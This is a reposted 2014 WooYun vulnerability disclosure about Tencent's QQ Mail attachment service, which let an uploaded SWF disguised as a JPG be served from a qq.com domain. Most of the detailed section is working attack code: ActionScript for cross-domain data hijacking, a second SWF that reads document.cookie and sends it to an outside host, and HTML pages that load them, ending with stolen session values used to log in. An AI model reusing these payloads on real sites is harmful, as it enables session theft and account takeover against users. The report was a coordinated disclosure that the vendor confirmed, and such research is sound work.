网站目录收录网站方式:1.人工手动审核。2.自助审核(你的网站在权重3、PR4以上,挂上本站友链->点击友链->自动审核通过。)
北京 天津 上海 广东 深圳 河北 河南 新疆 重庆 四川 贵州 湖南 湖北 云南 广西 宁夏 青海 甘肃 陕西
西藏 海南 山东 福建 安徽 浙江 吉林 山西 江西 江苏 辽宁 黑龙 内蒙 澳门 香港 台湾 日本 韩国 美国
当前位置:站长啦网站目录 » 新闻资讯 » 站长新闻 » 漏洞预警 » 文章详细 订阅RssFeed

[公开漏洞]腾讯某分站可上传任意swf文件导致的一系列问题(附简单POC)

来源:WooYun 浏览:701次 时间:2014-07-11
简介:腾讯某分站可上传任意swf文件导致的一系列问题(附简单POC) 相关厂商: 腾讯漏洞作者:mramydnei 提交时间:2014-05-27 08:47 公开时间:2014-07-11 08:47 漏洞类型:文件上传导致任意代码执行危害等

腾讯某分站可上传任意swf文件导致的一系列问题(附简单POC) 相关厂商: 腾讯 漏洞作者:mramydnei 提交时间:2014-05-27 08:47 公开时间:2014-07-11 08:47 漏洞类型:文件上传导致任意代码执行 危害等级:高 自评Rank:20 漏洞状态: 厂商已经确认 漏洞来源:http://www.wooyun.org Tags标签: 文件上传内容未检查 漏洞详情 披露状态:

2014-05-27:细节已通知厂商并且等待厂商处理中
2014-05-27:厂商已经确认,细节仅向厂商公开
2014-06-06:细节向核心白帽子及相关领域专家公开
2014-06-16:细节向普通白帽子公开
2014-06-26:细节向实习白帽子公开
2014-07-11:细节向公众公开

简要描述:

这个上传点还是有点意思的

详细说明:

最近看了@irsdl的Even uploading a JPG file can lead to Cross Domain Data Hijacking 之后,琢磨着能不能找到一个好一点的实例。google dork了一下json的callback发现被修复的七七八八了。又找了一些*.qq.com上的上传页面也没能找到能上传swf的。最后又迂回到了重兵把守的QQ邮箱,在这里找到了突破点。



第一个案例:



首先构造一个swf文件,具体的as代码如下(借的):



package com.powerflasher.SampleApp {
import flash.external.ExternalInterface;

import flash.display.Sprite;
import flash.display.Sprite;
import flash.events.Event;
import flash.net.URLLoader;
import flash.net.URLRequest;
import flash.text.TextField;
import flash.text.TextFieldAutoSize;
import flash.xml.*;
import flash.events.IOErrorEvent;
import flash.events.*;
import flash.net.*;
/**
* @author User
*/



public class CrossDomainDataHijack extends Sprite {

private var loader:URLLoader;
public function CrossDomainDataHijack() {
loader = new URLLoader();
configureListeners(loader);
var target:String = root.loaderInfo.parameters.input;



var request:URLRequest = new URLRequest(target);
try {
loader.load(request);
} catch (error:Error) {
sendDatatoJS("Unable to load requested document; Error: " + error.getStackTrace());
}
}

private function configureListeners(dispatcher:IEventDispatcher):void {
dispatcher.addEventListener(Event.COMPLETE, completeHandler);
dispatcher.addEventListener(Event.OPEN, openHandler);
dispatcher.addEventListener(ProgressEvent.PROGRESS, progressHandler);
dispatcher.addEventListener(SecurityErrorEvent.SECURITY_ERROR, securityErrorHandler);
dispatcher.addEventListener(HTTPStatusEvent.HTTP_STATUS, httpStatusHandler);
dispatcher.addEventListener(IOErrorEvent.IO_ERROR, ioErrorHandler);
}

private function completeHandler(event:Event):void {
var loader:URLLoader = URLLoader(event.target);
//trace("completeHandler: " + loader.data);
sendDatatoJS("completeHandler: " + loader.data);
}

private function openHandler(event:Event):void {
//trace("openHandler: " + event);
sendDatatoJS("openHandler: " + event);
}

private function progressHandler(event:ProgressEvent):void {
//trace("progressHandler loaded:" + event.bytesLoaded + " total: " + event.bytesTotal);
sendDatatoJS("progressHandler loaded:" + event.bytesLoaded + " total: " + event.bytesTotal);
}

private function securityErrorHandler(event:SecurityErrorEvent):void {
//trace("securityErrorHandler: " + event);
sendDatatoJS("securityErrorHandler: " + event);
}

private function httpStatusHandler(event:HTTPStatusEvent):void {
//trace("httpStatusHandler: " + event);
sendDatatoJS("httpStatusHandler: " + event);
}

private function ioErrorHandler(event:IOErrorEvent):void {
//trace("ioErrorHandler: " + event);
sendDatatoJS("ioErrorHandler: " + event);
}

private function sendDatatoJS(data:String):void{
trace(data);
ExternalInterface.call("sendToJavaScript", data);
}
}


}





然后修改swf的扩展名为jpg或其它图片格式的文件的扩展名便于通过上传检测的扩展名检测。然后通过QQ邮箱给自己发送一封邮件,并把我们编译好的swf文件(记得要改扩展名)添加到附件里并发送。



 2014-05-27 上午2.58.53.png





收到邮件后,打开邮件点击附件中的预览按钮并开启Firebug,通过Net对网络通讯进行观察:



 2014-05-27 上午3.02.23.png





从这里可以看出在第三条请求当中当前页面正在像http://sz.mail.ftn.qq.com发送一些HTTP请求,并且response正好是一张图片。复制第三条请求的url:



http://sz.mail.ftn.qq.com/ftn_handler/781c517614e456370aa64e576e2033fda3eb3a341d8659e4a69a9bdc06be37d3?compressed=0&dtype=1&fname=CrossDomainDataHijack.jpg





试图用浏览器打开时,发现会提示是否要下载。



 2014-05-27 上午3.06.43.png





经过一小系列测试发现,通过修改dtype=2可以让图片直接加载,而不是直接去下载它。



 2014-05-27 上午3.08.29.png





这样一来我们就拥有了一个在*.qq.com下面的swf文件。现在看看能不能实现所谓的CrossDomain datahijack了。编写测试页面(也是借的):



<html>
<head><title>csrftest</title>
<script>
function sendToJavaScript(strData){
var theDiv = document.getElementById("HijackedData");
var content = document.createTextNode(strData);
theDiv.appendChild(content);
theDiv.innerHTML += '<br/>'
//alert(strData);
}
</script>
</head>
<body>
<div id=HijackedData></div>
<object id="myObject" width="100" height="100" allowscriptaccess="always" type="application/x-shockwave-flash" data="http://sz.mail.ftn.qq.com/ftn_handler/781c517614e456370aa64e576e2033fda3eb3a341d8659e4a69a9bdc06be37d3?compressed=0&dtype=2&fname=CrossDomainDataHijack.jpg">
<param name="AllowScriptAccess" value="always">
<param name="flashvars" value="input=http://www.qq.com/">
</object>
</body>
</html>





看看是不是直接能够跨域把www.qq.com的html源码弄过来:



 2014-05-27 上午3.13.20.png





测试成功。这意味着我们可能利用这个伪造了扩展名的swf文件来盗取腾讯某些站点下的csrf token或其它一些会包含在html当中的敏感信息。



第二个案例:



在第一个案例当中,我们利用的swf文件在当前域下实际上是以content-type:image/jpeg来解析的。我们再试试我们能不能让它在当前域下当作一个swf文件来解析。经过一小系列测试发现,当我们把下面的URL当中的:



http://sz.mail.ftn.qq.com/ftn_handler/781c517614e456370aa64e576e2033fda3eb3a341d8659e4a69a9bdc06be37d3?compressed=0&dtype=2&fname=CrossDomainDataHijack.jpg





fname后面的CrossDomainDataHijack.jpg修改为test.swf时,页面会以Content-type:application/x-shockwave-flash来解析,如下图:



 2014-05-27 上午3.22.47.png





这回我们算是在真正的意义上,上传了一个swf文件。需要补充的是,该文件的访问权限是任何人。也就是说不存在权限问题而不能被利用起来。唯一麻烦的就是URL当中的这段hash



781c517614e456370aa64e576e2033fda3eb3a341d8659e4a69a9bdc06be37d3





会在30分钟左右过期,需要我们每间隔30分钟,重新使用案例1中的方法获取新的URL(无需重新上传)。



这次再写一个能偷cookie的swf文件,代码如下:



package {
import flash.external.ExternalInterface;
import flash.display.Sprite;
import flash.display.Sprite;
import flash.events.Event;
import flash.net.URLLoader;
import flash.net.URLRequest;
import flash.text.TextField;
import flash.text.TextFieldAutoSize;
import flash.xml.*;
import flash.events.IOErrorEvent;
import flash.events.*;
import flash.net.*;
/**
* @author User
*/



public class csrf extends Sprite {

private var loader:URLLoader;
public function csrf() {
var res:String = ExternalInterface.call("function(){return document.cookie;}");
doGet(res);
}

private function doGet(res:String):void{
loader = new URLLoader();
var target:String = "http://x55.me/geo.php?get="+res;
var request:URLRequest = new URLRequest(target);
try {
loader.load(request);
} catch (error:Error) {
sendDatatoJS("Error: " + error.getStackTrace());
}
}

private function sendDatatoJS(data:String):void{
trace(data);
ExternalInterface.call("colsole.log", data);
}
}


}





重复案例一种的步骤进行上传和参数修改。得到URL:



http://sz.mail.ftn.qq.com/ftn_handler/595af2ea431bfa68bc5e2e515d3a83a39752af9a4cc701539ad5b70b759a175d?compressed=0&dtype=2&fname=1.swf





做一个测试页面用来盗取用户的cookies:



<html>
<head>
<title>steal cookies test</title>
</head>
<body>
<iframe src="http://sz.mail.ftn.qq.com/ftn_handler/595af2ea431bfa68bc5e2e515d3a83a39752af9a4cc701539ad5b70b759a175d?compressed=0&dtype=2&fname=1.swf" width=0 heigth=0>
</body>
</html>





当用户访问我们特定的页面时,cookie将被窃取:



 2014-05-27 上午3.36.59.png





6F99C843-A855-429C-9C94-041CD4DA03D2.png





对盗号不感冒,所以不知道具体都可以登录哪些业务。但是至少测试可以用uin和skey成功登录aq.qq.com



 2014-05-27 上午3.44.15.png





















漏洞证明:

见详细说明

修复方案:

对文件头和格式进行检测

版权声明:转载请注明来源 mramydnei@乌云

漏洞回应 厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-05-27 15:53

厂商回复:

非常感谢您的报告,问题已着手处理,感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。

最新状态:

暂无


0

版权与免责声明:

凡注明稿件来源的内容均为转载稿或由网友用户注册发布,本网转载出于传递更多信息的目的;如转载稿涉及版权问题,请作者联系我们,同时对于用户评论等信息,本网并不意味着赞同其观点或证实其内容的真实性;


本文地址:https://top.cnzzla.com/artinfo/2368.html

好玩的手游下载

猜你喜欢

推荐站点

  • 国厨盛宴国厨盛宴

    佛山市南海区嘉怡西餐厅(简称\"国厨盛宴\")是一家专注于珠三角地区的高端餐饮定制服务企业。在嘉怡西式餐饮为基础,整合了国力餐饮策划公司、国邦餐饮咨询公司、焰渝餐饮管理公司。于2016年3月正式更名为“广东国厨盛宴餐饮定制”, 公司出品全部来自香港、广东十年以上中西餐饮宴会实践经验丰富的业内专业星级大厨,国厨盛宴是融合了中西宴会外卖特色具一体,积累了多年的实践经验的一家公司。 国厨盛宴的餐房、现场执行及客户服务均由香港资深专业人士负责,拥有丰富的餐饮定制配餐服务管理经验及餐饮行饮服务团队,从客服、采购、厨业经营经验。 无论是大型商业活动(100-3000人)还是小型(20-100人)的私人宴请,无论您的活动是在室内、室外、办公室,还是在公园、体育场、展厅、发布中心、别墅、郊外,都能为您提供超五星级的专业餐饮服务。除了为您提供精致的外烩美食外卖,我们还可以根据您的需要,结合宴会活动的每一环节、流程,为您提供活动策划、会场布置、节目安排、花艺服务等增值服务,为您节省宝贵的时间。

    guochushengyan.com
  • 皇家馬車家纺官网皇家馬車家纺官网

    馬車源自华夏千年礼制,始于“天子驾六”的皇家威仪。馬车,是帝王仪仗,是身份象征,更是东方尊贵生活的传承载体。皇家馬车家纺,承中式皇家礼序,融东方典雅美学,以匠心织就尊贵、舒适、荣耀的中式睡眠美学,让每一户人家,皆藏皇家气度。 皇家馬车家纺品牌源之于承华夏皇家礼序,筑东方品质寝饰。自古以来皇家馬车无论从欧洲皇室到我们中国的华夏文明,车马为礼;皇家馬车,自古便是帝王专属仪仗,象征至高无上的身份、威仪与尊贵。自周代“天子驾六”定礼制,秦汉“金根车”彰皇权,唐宋“大辇”显威仪,明清“銮驾”集大成,皇家馬车,早已沉淀为东方文化中尊贵、典雅、荣耀、传承的核心符号。 皇家馬车家纺,根植中国千年皇家车马文化,1992年源自福建台资企业,已深耕中高端家纺34载。品牌以“传承中式皇家礼序,打造国人轻奢寝居”为初心,将皇家馬车所代表的礼制、尊贵、精工、传承,融入每一件床品的设计与织造。 品牌自创立以来,始终坚守品质为本,引进台湾先进纺织工艺与生产管理体系,严选优质长绒棉、桑蚕丝、天然纤维等高端原材料,全程标准化品控,面料细腻亲肤、健康环保。先后荣获2000年、2012年福建省著名商标荣誉称号,2006获ISO9001:2000质量管理体系认证企业,为产品的品质奠定了坚实基础。凭借过硬品质与深厚品牌底蕴,深受广大消费者信赖与认可,高峰时期全国17个省市均有 皇家馬車专卖店。 2025年由福州东盈家居科技有限公司全面接手操盘运营,焕新升级,生产基地从福建迁移到江苏南通家纺产业核心区,配备行业前沿设备。重塑品牌发展战略,打通线上线下全域渠道。线下设立福州晋安区喜盈门旗舰店,全国门店持续布局扩张。皇家馬车家纺秉持匠心初心,坚持高端品质、亲民定价,让万千家庭,都能用上高品质,皇室级的寝饰,享受舒适精致睡眠生活。 我们萃取中式皇家美学元素——龙凤呈祥、祥云瑞气、织金刺绣、典雅纹样,结合现代家纺工艺,严选高支长绒棉、桑蚕丝等高端原料,以台资精工标准,打造兼具东方贵气与现代舒适的中高端家纺。 从“福建省著名商标”到“家纺行业十大品牌”,皇家馬车家纺始终坚守“高贵不贵,匠心传承”,让千年皇家礼制,化作日常居家的尊贵体验;让每一户中国家庭,都能拥有属于自己的东方皇家睡眠礼遇。

    huangjiamache.mhwz.cn
  • 福州小程序开发福州小程序开发

    福州好小蚁科技提供专业的微信小程序开发、软件定制、手机APP开发、网站开发等高端定制外包服务,价格美丽,服务周到.一对一项目对接,不满意退全款!预约电话:13107632710 胡小春!福州好小蚁科技有限公司是福建福州网站app等技术开发优秀网络公司。

    www.fzant.com
  • 世界时间网世界时间网

    世界时间网为您提供世界各地精准时间,北京时间校准器,标准时间,世界各地时间与北京时间对比,时间换算等,希望对您有所帮助。

    top.cnzzla.com/time
  • 科技镇科技镇

    科技镇 | 关注科技、娱乐、人文、生活!

    www.kejizhen.com

最新优秀网站